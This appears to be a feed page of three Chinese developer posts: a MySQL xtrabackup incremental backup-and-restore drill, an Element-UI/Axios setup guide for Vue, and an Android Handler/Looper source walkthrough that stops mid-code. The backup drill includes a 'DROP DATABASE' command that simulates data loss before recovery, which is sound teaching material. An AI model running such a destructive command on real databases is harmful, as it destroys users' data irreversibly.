场景说明:现有某业务数据存储在xbk数据库中,周期性计划周日做全量备份,周一到周六做增量备份,我们此处请忽略备份损坏的情况,即假设所有的备份文件都是有效可用的。周三下午18:00有同学删除了xbk数据库。

恢复数据步骤参考思路:

mysql 5.7全量备份到指定目录:
xtrabackup --defaults-file=~/etc/mysql3307/my.cnf --backup --target-dir=/tmp/`date +%F`

mysql 5.7增量备份到指定目录:
(1)准备测试数据
mysql -S /tmp/mysql3307.sock < homework-sql-init 


(2)全量备份
xtrabackup --defaults-file=/etc/mysql3307/my.cnf --backup --target-dir=/backup/movie

(3)模拟生产环境的数据
for i in `ls *.sql`;do mysql -S /tmp/mysql3307.sock < $i;done
mysql -S /tmp/mysql3307.sock -e "SELECT COUNT(*) FROM movie.user;"

(4)增量备份
xtrabackup --defaults-file=/etc/mysql3307/my.cnf --backup --incremental-basedir=/backup/movie  --target-dir=/backup/movie_first

(5)再次修改数据
INSERT user VALUES (1,'孙悟空',3,5.8),(2,'猪八戒',10,7.3),(3,'唐僧',15,9.1);

(6)再次做增量备份
xtrabackup --defaults-file=/etc/mysql3307/my.cnf --backup --incremental-basedir=/backup/movie_first  --target-dir=/backup/movie_second

(7)删除数据
DROP DATABASE movie;

(8)开始恢复
1)将最新的全量备份日志进行prepare整理
innobackupex --apply-log --redo-only movie

2)将第一次的(incremental)增量备份日志合并到最新的全量备份日志并进行prepare整理
innobackupex --apply-log --redo-only --incremental-dir=/backup/movie_first  movie
3)将第二次的(incremental)增量备份日志合并到最新的全量备份日志并进行prepare整理,合并最后一次增量时无需使用"--redo-only"参数
innobackupex --apply-log --incremental-dir=/backup/movie_second movie

4)整体再次预处理(prepare)整个备份
innobackupex --apply-log  movie 
                        

by Full_Stack_zqf at January 22, 2025 08:45 AM

juejin frontend

Element快速上手

大家好,我是袁庭新。在前端开发中,Vue.js项目构建至关重要。本文将详细介绍Element的使用及相关配置,助力提升开发效率。

1.Element-UI介绍

Element-UI官方网址:element.eleme.cn/#/zh-CN

Element-UI是饿了么前端出品的基于Vue.js的后台组件库,方便程序员进行页面快速布局和构建。

2.Element-UI使用

2.1 NPM安装

1.以管理员身份运⾏cmd,进⼊到VueProjects⽂件夹。创建一个新的el-project项目。

# 1.先切换至Vue项目存放的目录(VueProjects),以Windows系统为例
C:\Users\yuanxin> cd /d D:\programSoftware\VueProjects
# 2.基于交互式命令⽅式创建项⽬
D:\programSoftware\VueProjects> vue create el-project

2.将项目导入到VSCode中,右键选择【在集成终端中打开】选项,在终端输入以下命令,测试项目是否可以正常启动。

npm run serve

3.推荐使用npm的方式安装,它能更好地和webpack打包工具配合使用。

npm i element-ui -S

2.2 Element-UI基本使用

1.打开main.js,导入Element-UI相关资源。

main.js是工程的入口文件,在此文件中加载了很多第三方组件,如:Element-UI、Base64、 VueRouter等。

// 导入组件库
import ElementUI from 'element-ui'
// 导入组件相关样式
import 'element-ui/lib/theme-chalk/index.css'

// 配置Vue插件,将Element安装到Vue上
Vue.use(ElementUI)

2.复制Element按钮样式到App.vue文件的template下。

<template>
  <div id="app">
    <!-- 测试ElementUI -->
    <el-row>
      <el-button>默认按钮</el-button>
      <el-button type="primary">主要按钮</el-button>
      <el-button type="success">成功按钮</el-button>
      <el-button type="info">信息按钮</el-button>
      <el-button type="warning">警告按钮</el-button>
      <el-button type="danger">危险按钮</el-button>
    </el-row>
    <div id="nav">
      <router-link to="/">Home</router-link> |
      <router-link to="/about">About</router-link>
    </div>
    <router-view/>
  </div>
</template>

3.启动项目npm run serve,查看页面试图。

2.3 Vue-CLI工程改造

1.删除components目录下的HelloWord.vue组件。

2.删除App.vue文件中的部分内容,只保留如下内容。

<template>
  <div id="app">

  </div>
</template>

<style>

</style>

3.删除router目录下的路由文件index.js中Home.vue和About.vue组件相关的配置内容,只保留如下内容。

import Vue from 'vue'
import VueRouter from 'vue-router'

Vue.use(VueRouter)

const routes = [

]

const router = new VueRouter({
  routes
})

export default router

4.删除views目录下的About.vue、Home.vue和HelloWorld.vue组件。

2.4 安装Axios

1.使用NPM方式安装下载Axios包。

# Axios安装方式1
cnpm install axios
# Axios安装方式1
npm install axios

2.在main.js文件中导入axios相关资源。

// 引入Axios
import axios from 'axios' 

// Vue对象使用Axios
Vue.prototype.axios = axios

3.总结

本文主要介绍了 Element-UI 在 Vue.js 项目中的使用方法。首先是 Element-UI 的安装,需以管理员身份运行 cmd 进入 VueProjects 文件夹创建 el-project 项目,再用 npm 安装,导入相关资源到 main.js 并进行配置。接着阐述了基本使用,如在 App.vue 中复制按钮样式。还提及 Vue-CLI 工程改造,包括删除一些组件和配置内容。最后介绍了 Axios 的安装,可通过 cnpm 或 npm 方式,安装后在 main.js 中导入资源并使 Vue 能使用它,这些步骤为构建 Vue 项目提供了重要指导。

by 袁庭新 at January 22, 2025 08:41 AM

Hander机制(二)系统源码

从系统源码(API 34)去学习Handler

我们知道了Handler在子线程中如果要接收消息,那么必须手动开启Looper.prepare()Looper.looper()。但是在主线程为什么不用我们调用Looper呢?我们从源码找答案。

我们现在重新从Android系统源码中去看Handler。

ActivityThread

首先看ActivityThread源码,ActivityThread中有一个main函数,这是程序的入口:

    public static void main(String[] args) {
        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "ActivityThreadMain");

        // Install selective syscall interception
        AndroidOs.install();

        // CloseGuard defaults to true and can be quite spammy.  We
        // disable it here, but selectively enable it later (via
        // StrictMode) on debug builds, but using DropBox, not logs.
        CloseGuard.setEnabled(false);

        Environment.initForCurrentUser();

        // Make sure TrustedCertificateStore looks in the right place for CA certificates
        final File configDir = Environment.getUserConfigDirectory(UserHandle.myUserId());
        TrustedCertificateStore.setDefaultUserDirectory(configDir);

        // Call per-process mainline module initialization.
        initializeMainlineModules();

        Process.setArgV0("<pre-initialized>");

        Looper.prepareMainLooper();

        // Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line.
        // It will be in the format "seq=114"
        long startSeq = 0;
        if (args != null) {
            for (int i = args.length - 1; i >= 0; --i) {
                if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) {
                    startSeq = Long.parseLong(
                            args[i].substring(PROC_START_SEQ_IDENT.length()));
                }
            }
        }
        ActivityThread thread = new ActivityThread();
        thread.attach(false, startSeq);

        if (sMainThreadHandler == null) {
            sMainThreadHandler = thread.getHandler();
        }

        if (false) {
            Looper.myLooper().setMessageLogging(new
                    LogPrinter(Log.DEBUG, "ActivityThread"));
        }

        // End of event ActivityThreadMain.
        Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
        Looper.loop();

        throw new RuntimeException("Main thread loop unexpectedly exited");
    }

可以看到ActivityThread在main函数中执行了Looper.prepareMainLooper();

Looper

prepare()函数

跳转过去看到,这个函数内部执行了prepare,以及通过myLooper()函数得到了一个Looper对象将他作为主线程的Looper。

我们先进入prepare函数,可以看到老朋友ThreadLocal,可见Android源码中,Looper类是通过ThreadLocal来将Looper对象存储到对应线程的ThreadLocalMap中的,并且如果多次调用prepare会抛出异常,不允许重复调用prepare
prepare函数的作用就是 在当前线程创建Looper 实例 ,并 将所创建的Looper实例存储到当前线程的ThreadLocal

可以发现,prepare函数的写法和我们手写Handler时,Looper的prepare函数写法是一致的。

myLooper()函数

而在myLooper函数中则是通过ThreadLocal来获取当前线程中的Looper实例,之后赋值到Looper类的sMainLooper成员变量中。表示当前Looper实例是主线程的Looper。

loop()函数

既然到了Looper,我们自然要看看是如何开启死循环的,找到Looper.loop()函数:

public static void loop() {
    final Looper me = myLooper();
    if (me == null) {
        throw new RuntimeException("No Looper; Looper.prepare() wasn't called on this thread.");
    }
    if (me.mInLoop) {
        Slog.w(TAG, "Loop again would have the queued messages be executed"
               + " before this one completed.");
    }

    me.mInLoop = true;

    // Make sure the identity of this thread is that of the local process,
    // and keep track of what that identity token actually is.
    Binder.clearCallingIdentity();
    final long ident = Binder.clearCallingIdentity();

    // Allow overriding a threshold with a system prop. e.g.
    // adb shell 'setprop log.looper.1000.main.slow 1 && stop && start'
    final int thresholdOverride =
    SystemProperties.getInt("log.looper."
                            + Process.myUid() + "."
                            + Thread.currentThread().getName()
                            + ".slow", -1);

    me.mSlowDeliveryDetected = false;

    for (;;) {
        if (!loopOnce(me, ident, thresholdOverride)) {
            return;
        }
    }
}

在loop函数中,第一步final Looper me = myLooper();是拿到Looper对象。

去到looper后,直接看第28行~32行,这里开启了一个死循环,我们进入loopOnce函数源码:(API34的源码是封装了一个loopOnce函数的,在API28中没有这个)

    /**
     * Poll and deliver single message, return true if the outer loop should continue.
     */
    @SuppressWarnings({"UnusedTokenOfOriginalCallingIdentity",
            "ClearIdentityCallNotFollowedByTryFinally"})
    private static boolean loopOnce(final Looper me,
            final long ident, final int thresholdOverride) {
        Message msg = me.mQueue.next(); // might block
        if (msg == null) {
            // No message indicates that the message queue is quitting.
            return false;
        }

        // This must be in a local variable, in case a UI event sets the logger
        final Printer logging = me.mLogging;
        if (logging != null) {
            logging.println(">>>>> Dispatching to " + msg.target + " "
                    + msg.callback + ": " + msg.what);
        }
        // Make sure the observer won't change while processing a transaction.
        final Observer observer = sObserver;

        final long traceTag = me.mTraceTag;
        long slowDispatchThresholdMs = me.mSlowDispatchThresholdMs;
        long slowDeliveryThresholdMs = me.mSlowDeliveryThresholdMs;

        final boolean hasOverride = thresholdOverride >= 0;
        if (hasOverride) {
            slowDispatchThresholdMs = thresholdOverride;
            slowDeliveryThresholdMs = thresholdOverride;
        }
        final boolean logSlowDelivery = (slowDeliveryThresholdMs > 0 || hasOverride)
                && (msg.when > 0);
        final boolean logSlowDispatch = (slowDispatchThresholdMs > 0 || hasOverride);

        final boolean needStartTime = logSlowDelivery || logSlowDispatch;
        final boolean needEndTime = logSlowDispatch;

        if (traceTag != 0 && Trace.isTagEnabled(traceTag)) {
            Trace.traceBegin(traceTag, msg.target.getTraceName(msg));
        }

        final long dispatchStart = needStartTime ? SystemClock.uptimeMillis() : 0;
        final long dispatchEnd;
        Object token = null;
        if (observer != null) {
            token = observer.messageDispatchStarting();
        }
        long origWorkSource = ThreadLocalWorkSource.setUid(msg.workSourceUid);
        try {
            msg.target.dispatchMessage(msg);
            if (observer != null) {
                observer.messageDispatched(token, msg);
            }
            dispatchEnd = needEndTime ? SystemClock.uptimeMillis() : 0;
        } catch (Exception exception) {
            if (observer != null) {
                observer.dispatchingThrewException(token, msg, exception);
            }
            throw exception;
        } finally {
            ThreadLocalWorkSource.restore(origWorkSource);
            if (traceTag != 0) {
                Trace.traceEnd(traceTag);
            }
        }
        if (logSlowDelivery) {
            if (me.mSlowDeliveryDetected) {
                if ((dispatchStart - msg.when) <= 10) {
                    Slog.w(TAG, "Drained");
                    me.mSlowDeliveryDetected = false;
                }
            } else {
                if (showSlowLog(slowDeliveryThresholdMs, msg.when, dispatchStart, "delivery",
                        msg)) {
                    // Once we write a slow delivery log, suppress until the queue drains.
                    me.mSlowDeliveryDetected = true;
                }
            }
        }
        if (logSlowDispatch) {
            showSlowLog(slowDispatchThresholdMs, dispatchStart, dispatchEnd, "dispatch", msg);
        }

        if (logging != null) {
            logging.println("<<<<< Finished to " + msg.target + " " + msg.callback);
        }

        // Make sure that during the course of dispatching the
        // identity of the thread wasn't corrupted.
        final long newIdent = Binder.clearCallingIdentity();
        if (ident != newIdent) {
            Log.wtf(TAG, "Thread identity changed from 0x"
                    + Long.toHexString(ident) + " to 0x"
                    + Long.toHexString(newIdent) + " while dispatching to "
                    + msg.target.getClass().getName() + " "
                    + msg.callback + " what=" + msg.what);
        }

        msg.recycleUnchecked();

        return true;
    }

loopOnce从Looper中取出MessageQueue并调用next(),next()如果没有消息那么会产生阻塞一直等待。

面试题:为什么源码中主线程调用Looper.loop()不会产生阻塞?

APP的入口函数

在所有应用中,他们都有一个入口函数作为程序入口,只是我们开发时没看到,因为google工程师帮我们封装了。

而这个main函数在哪里呢?就在ActivityThread中,前面提到过,这个main函数就是函数入口。

main函数一但被java虚拟机执行,虚拟机会马上给程序分配进程空间(如内存),这就是我们APP的进程由来。 我们把main函数所在的线程叫做主线程,主线程绝对不能阻塞,如果一旦阻塞会发生ANR

每个我们开发的安卓应用都会被包裹一层main函数main函数被调用后再调用Application之后Application就调用Activity,也就是安卓APP启动流程。

主线程Looper.loop()的阻塞方式

首先看到ActivityThread的入口函数main,其倒数第二行代码是Looper.loop(),而最后一行代码是抛出一个异常,就这么简单的就结束了;main函数直接结束则代表着应用退出了,这必然不是我们APP想要的。

所以在main函数中,我们必然不能让Looper.loop() 结束,如果结束了,应用就结束了。

Looper.loop() 是一个死循环,而我们的APP也有自己的界面、逻辑要执行;那我们APP的写的任务要如何执行,有两种方式:

  1. 空转:如果没有任务,不阻塞循环,一直遍历循环。
  2. 阻塞:如果没有任务,阻塞循环,直到有新任务可执行。

方式一空转会导致CPU一直工作,浪费资源;方式二阻塞的好处是能让出CPU资源,所以这里是通过方式二

继续回到Looperloop()函数源码,它通过一个死循环读取MessageQueue,而MessageQueue的next()在无消息时会阻塞等待;

Android是以什么驱动的系统?

Android APP中当固定界面显示出来后,此时如果我们没有手势去处理,程序没有事件去唤醒它,那么此时程序就会什么都不做(阻塞)。

当我们点击屏幕或者触发其他事件时,此时Android系统肯定要被唤醒阻塞的,

所以Android是以 事件 驱动的系统。

所以,在主线程中,当我们产生一个事件(如手势触摸、屏幕旋转等),这个事件是存放在主线程Looper的MessageQueue中,那么还需要一个角色来处理这些事件。处理这些事件的就是 ActivityThread类中的mH变量

mH的类型是H类,跳转到H,可以看到它的父类是一个Handler,其内部定义了很多Message事件,比如 BIND_APPLICATION(应用绑定事件)EXIT_APPLICATION(退出应用)RECEIVER(收到广播)CREATE_SERVICE(创建服务)SERVICE_ARGS(服务接收参数)STOP_SERVICE(停止服务)CONFIGURATION_CHANGED(配置变更);都是与安卓息息相关的事件。

从110为起始,H类中的是与Android息息相关的事件;而110之前都是系统定制事件;其他的还有驱动相关的事件。

所以我们才会把Android称为 事件驱动性 ****的系统。

    class H extends Handler {
        public static final int BIND_APPLICATION        = 110;
        @UnsupportedAppUsage
        public static final int EXIT_APPLICATION        = 111;
        @UnsupportedAppUsage
        public static final int RECEIVER                = 113;
        @UnsupportedAppUsage
        public static final int CREATE_SERVICE          = 114;
        @UnsupportedAppUsage
        public static final int SERVICE_ARGS            = 115;
        @UnsupportedAppUsage
        public static final int STOP_SERVICE            = 116;

        public static final int CONFIGURATION_CHANGED   = 118;
        public static final int CLEAN_UP_CONTEXT        = 119;
        @UnsupportedAppUsage
        public static final int GC_WHEN_IDLE            = 120;
        @UnsupportedAppUsage
        public static final int BIND_SERVICE            = 121;
        @UnsupportedAppUsage
        public static final int UNBIND_SERVICE          = 122;
        public static final int DUMP_SERVICE            = 123;
        public static final int LOW_MEMORY              = 124;
        public static final int PROFILER_CONTROL        = 127;
        public static final int CREATE_BACKUP_AGENT     = 128;
        public static final int DESTROY_BACKUP_AGENT    = 129;
        public static final int SUICIDE                 = 130;
        @UnsupportedAppUsage
        public static final int REMOVE_PROVIDER         = 131;
        public static final int DISPATCH_PACKAGE_BROADCAST = 133;
        @UnsupportedAppUsage
        public static final int SCHEDULE_CRASH          = 134;
        public static final int DUMP_HEAP               = 135;
        public static final int DUMP_ACTIVITY           = 136;
        public static final int SLEEPING                = 137;
        public static final int SET_CORE_SETTINGS       = 138;
        public static final int UPDATE_PACKAGE_COMPATIBILITY_INFO = 139;
        @UnsupportedAppUsage
        public static final int DUMP_PROVIDER           = 141;
        public static final int UNSTABLE_PROVIDER_DIED  = 142;
        public static final int REQUEST_ASSIST_CONTEXT_EXTRAS = 143;
        public static final int TRANSLUCENT_CONVERSION_COMPLETE = 144;
        @UnsupportedAppUsage
        public static final int INSTALL_PROVIDER        = 145;
        public static final int ON_NEW_ACTIVITY_OPTIONS = 146;
        @UnsupportedAppUsage
        public static final int ENTER_ANIMATION_COMPLETE = 149;
        public static final int START_BINDER_TRACKING = 150;
        public static final int STOP_BINDER_TRACKING_AND_DUMP = 151;
        public static final int LOCAL_VOICE_INTERACTION_STARTED = 154;
        public static final int ATTACH_AGENT = 155;
        public static final int APPLICATION_INFO_CHANGED = 156;
        public static final int RUN_ISOLATED_ENTRY_POINT = 158;
        public static final int EXECUTE_TRANSACTION = 159;
        public static final int RELAUNCH_ACTIVITY = 160;
        public static final int PURGE_RESOURCES = 161;
        public static final int ATTACH_STARTUP_AGENTS = 162;
        public static final int UPDATE_UI_TRANSLATION_STATE = 163;
        public static final int SET_CONTENT_CAPTURE_OPTIONS_CALLBACK = 164;
        public static final int DUMP_GFXINFO = 165;
        public static final int DUMP_RESOURCES = 166;
        public static final int TIMEOUT_SERVICE = 167;
        public static final int PING = 168;

        public static final int INSTRUMENT_WITHOUT_RESTART = 170;
        public static final int FINISH_INSTRUMENTATION_WITHOUT_RESTART = 171;

        String codeToString(int code) {
            if (DEBUG_MESSAGES) {
                switch (code) {
                    case BIND_APPLICATION: return "BIND_APPLICATION";
                    case EXIT_APPLICATION: return "EXIT_APPLICATION";
                    case RECEIVER: return "RECEIVER";
                    case CREATE_SERVICE: return "CREATE_SERVICE";
                    case SERVICE_ARGS: return "SERVICE_ARGS";
                    case STOP_SERVICE: return "STOP_SERVICE";
                    case CONFIGURATION_CHANGED: return "CONFIGURATION_CHANGED";
                    case CLEAN_UP_CONTEXT: return "CLEAN_UP_CONTEXT";
                    case GC_WHEN_IDLE: return "GC_WHEN_IDLE";
                    case BIND_SERVICE: return "BIND_SERVICE";
                    case UNBIND_SERVICE: return "UNBIND_SERVICE";
                    case DUMP_SERVICE: return "DUMP_SERVICE";
                    case LOW_MEMORY: return "LOW_MEMORY";
                    case PROFILER_CONTROL: return "PROFILER_CONTROL";
                    case CREATE_BACKUP_AGENT: return "CREATE_BACKUP_AGENT";
                    case DESTROY_BACKUP_AGENT: return "DESTROY_BACKUP_AGENT";
                    case SUICIDE: return "SUICIDE";
                    case REMOVE_PROVIDER: return "REMOVE_PROVIDER";
                    case DISPATCH_PACKAGE_BROADCAST: return "DISPATCH_PACKAGE_BROADCAST";
                    case SCHEDULE_CRASH: return "SCHEDULE_CRASH";
                    case DUMP_HEAP: return "DUMP_HEAP";
                    case DUMP_ACTIVITY: return "DUMP_ACTIVITY";
                    case SET_CORE_SETTINGS: return "SET_CORE_SETTINGS";
                    case UPDATE_PACKAGE_COMPATIBILITY_INFO: return "UPDATE_PACKAGE_COMPATIBILITY_INFO";
                    case DUMP_PROVIDER: return "DUMP_PROVIDER";
                    case UNSTABLE_PROVIDER_DIED: return "UNSTABLE_PROVIDER_DIED";
                    case REQUEST_ASSIST_CONTEXT_EXTRAS: return "REQUEST_ASSIST_CONTEXT_EXTRAS";
                    case TRANSLUCENT_CONVERSION_COMPLETE: return "TRANSLUCENT_CONVERSION_COMPLETE";
                    case INSTALL_PROVIDER: return "INSTALL_PROVIDER";
                    case ON_NEW_ACTIVITY_OPTIONS: return "ON_NEW_ACTIVITY_OPTIONS";
                    case ENTER_ANIMATION_COMPLETE: return "ENTER_ANIMATION_COMPLETE";
                    case LOCAL_VOICE_INTERACTION_STARTED: return "LOCAL_VOICE_INTERACTION_STARTED";
                    case ATTACH_AGENT: return "ATTACH_AGENT";
                    case APPLICATION_INFO_CHANGED: return "APPLICATION_INFO_CHANGED";
                    case RUN_ISOLATED_ENTRY_POINT: return "RUN_ISOLATED_ENTRY_POINT";
                    case EXECUTE_TRANSACTION: return "EXECUTE_TRANSACTION";
                    case RELAUNCH_ACTIVITY: return "RELAUNCH_ACTIVITY";
                    case PURGE_RESOURCES: return "PURGE_RESOURCES";
                    case ATTACH_STARTUP_AGENTS: return "ATTACH_STARTUP_AGENTS";
                    case UPDATE_UI_TRANSLATION_STATE: return "UPDATE_UI_TRANSLATION_STATE";
                    case SET_CONTENT_CAPTURE_OPTIONS_CALLBACK:
                        return "SET_CONTENT_CAPTURE_OPTIONS_CALLBACK";
                    case DUMP_GFXINFO: return "DUMP GFXINFO";
                    case INSTRUMENT_WITHOUT_RESTART: return "INSTRUMENT_WITHOUT_RESTART";
                    case FINISH_INSTRUMENTATION_WITHOUT_RESTART:
                        return "FINISH_INSTRUMENTATION_WITHOUT_RESTART";
                    case DUMP_RESOURCES: return "DUMP_RESOURCES";
                    case TIMEOUT_SERVICE: return "TIMEOUT_SERVICE";
                    case PING: return "PING";
                }
            }
            return Integer.toString(code);
        }
        public void handleMessage(Message msg) {
            if (DEBUG_MESSAGES) Slog.v(TAG, ">>> handling: " + codeToString(msg.what));
            switch (msg.what) {
                case BIND_APPLICATION:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "bindApplication");
                    AppBindData data = (AppBindData)msg.obj;
                    handleBindApplication(data);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case EXIT_APPLICATION:
                    if (mInitialApplication != null) {
                        mInitialApplication.onTerminate();
                    }
                    Looper.myLooper().quit();
                    break;
                case RECEIVER:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        ReceiverData rec = (ReceiverData) msg.obj;
                        if (rec.intent != null) {
                            Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER,
                                    "broadcastReceiveComp: " + rec.intent.getAction());
                        } else {
                            Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER,
                                    "broadcastReceiveComp");
                        }
                    }
                    handleReceiver((ReceiverData)msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case CREATE_SERVICE:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER,
                                ("serviceCreate: " + String.valueOf(msg.obj)));
                    }
                    handleCreateService((CreateServiceData)msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case BIND_SERVICE:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "serviceBind: "
                                + String.valueOf(msg.obj));
                    }
                    handleBindService((BindServiceData)msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case UNBIND_SERVICE:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "serviceUnbind: "
                                + String.valueOf(msg.obj));
                    }
                    handleUnbindService((BindServiceData)msg.obj);
                    schedulePurgeIdler();
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case SERVICE_ARGS:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER,
                                ("serviceStart: " + String.valueOf(msg.obj)));
                    }
                    handleServiceArgs((ServiceArgsData)msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case STOP_SERVICE:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "serviceStop: "
                                + String.valueOf(msg.obj));
                    }
                    handleStopService((IBinder)msg.obj);
                    schedulePurgeIdler();
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case TIMEOUT_SERVICE:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "serviceTimeout: "
                                + String.valueOf(msg.obj));
                    }
                    handleTimeoutService((IBinder) msg.obj, msg.arg1);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case PING:
                    ((RemoteCallback) msg.obj).sendResult(null);
                    break;
                case CONFIGURATION_CHANGED:
                    mConfigurationController.handleConfigurationChanged((Configuration) msg.obj);
                    break;
                case CLEAN_UP_CONTEXT:
                    ContextCleanupInfo cci = (ContextCleanupInfo)msg.obj;
                    cci.context.performFinalCleanup(cci.who, cci.what);
                    break;
                case GC_WHEN_IDLE:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "gcWhenIdle");
                    try {
                        scheduleGcIdler();
                    } finally {
                        Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    }
                    break;
                case DUMP_SERVICE:
                    handleDumpService((DumpComponentInfo)msg.obj);
                    break;
                case DUMP_GFXINFO:
                    handleDumpGfxInfo((DumpComponentInfo) msg.obj);
                    break;
                case LOW_MEMORY:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "lowMemory");
                    handleLowMemory();
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case PROFILER_CONTROL:
                    handleProfilerControl(msg.arg1 != 0, (ProfilerInfo)msg.obj, msg.arg2);
                    break;
                case CREATE_BACKUP_AGENT:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case DESTROY_BACKUP_AGENT:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupDestroyAgent");
                    handleDestroyBackupAgent((CreateBackupAgentData)msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case SUICIDE:
                    Process.killProcess(Process.myPid());
                    break;
                case REMOVE_PROVIDER:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "providerRemove");
                    completeRemoveProvider((ProviderRefCount)msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case DISPATCH_PACKAGE_BROADCAST:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "broadcastPackage");
                    handleDispatchPackageBroadcast(msg.arg1, (String[])msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case SCHEDULE_CRASH: {
                    SomeArgs args = (SomeArgs) msg.obj;
                    String message = (String) args.arg1;
                    Bundle extras = (Bundle) args.arg2;
                    args.recycle();
                    throwRemoteServiceException(message, msg.arg1, extras);
                    break;
                }
                case DUMP_HEAP:
                    handleDumpHeap((DumpHeapData) msg.obj);
                    break;
                case DUMP_RESOURCES:
                    handleDumpResources((DumpResourcesData) msg.obj);
                    break;
                case DUMP_ACTIVITY:
                    handleDumpActivity((DumpComponentInfo)msg.obj);
                    break;
                case DUMP_PROVIDER:
                    handleDumpProvider((DumpComponentInfo)msg.obj);
                    break;
                case SET_CORE_SETTINGS:
                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "setCoreSettings");
                    handleSetCoreSettings((Bundle) msg.obj);
                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    break;
                case UPDATE_PACKAGE_COMPATIBILITY_INFO:
                    handleUpdatePackageCompatibilityInfo((UpdateCompatibilityData)msg.obj);
                    break;
                case UNSTABLE_PROVIDER_DIED:
                    handleUnstableProviderDied((IBinder)msg.obj, false);
                    break;
                case REQUEST_ASSIST_CONTEXT_EXTRAS:
                    handleRequestAssistContextExtras((RequestAssistContextExtras)msg.obj);
                    break;
                case TRANSLUCENT_CONVERSION_COMPLETE:
                    handleTranslucentConversionComplete((IBinder)msg.obj, msg.arg1 == 1);
                    break;
                case INSTALL_PROVIDER:
                    if (Trace.isTagEnabled(Trace.TRACE_TAG_ACTIVITY_MANAGER)) {
                        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "providerInstall: "
                                + String.valueOf(msg.obj));
                    }
                    try {
                        handleInstallProvider((ProviderInfo) msg.obj);
                    } finally {
                        Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
                    }
                    break;
                case ON_NEW_ACTIVITY_OPTIONS:
                    Pair<IBinder, ActivityOptions> pair = (Pair<IBinder, ActivityOptions>) msg.obj;
                    onNewActivityOptions(pair.first, pair.second);
                    break;
                case ENTER_ANIMATION_COMPLETE:
                    handleEnterAnimationComplete((IBinder) msg.obj);
                    break;
                case START_BINDER_TRACKING:
                    handleStartBinderTracking();
                    break;
                case STOP_BINDER_TRACKING_AND_DUMP:
                    handleStopBinderTrackingAndDump((ParcelFileDescriptor) msg.obj);
                    break;
                case LOCAL_VOICE_INTERACTION_STARTED:
                    handleLocalVoiceInteractionStarted((IBinder) ((SomeArgs) msg.obj).arg1,
                            (IVoiceInteractor) ((SomeArgs) msg.obj).arg2);
                    break;
                case ATTACH_AGENT: {
                    Application app = getApplication();
                    handleAttachAgent((String) msg.obj, app != null ? app.mLoadedApk : null);
                    break;
                }
                case APPLICATION_INFO_CHANGED:
                    handleApplicationInfoChanged((ApplicationInfo) msg.obj);
                    break;
                case RUN_ISOLATED_ENTRY_POINT:
                    handleRunIsolatedEntryPoint((String) ((SomeArgs) msg.obj).arg1,
                            (String[]) ((SomeArgs) msg.obj).arg2);
                    break;
                case EXECUTE_TRANSACTION:
                    final ClientTransaction transaction = (ClientTransaction) msg.obj;
                    mTransactionExecutor.execute(transaction);
                    if (isSystem()) {
                        // Client transactions inside system process are recycled on the client side
                        // instead of ClientLifecycleManager to avoid being cleared before this
                        // message is handled.
                        transaction.recycle();
                    }
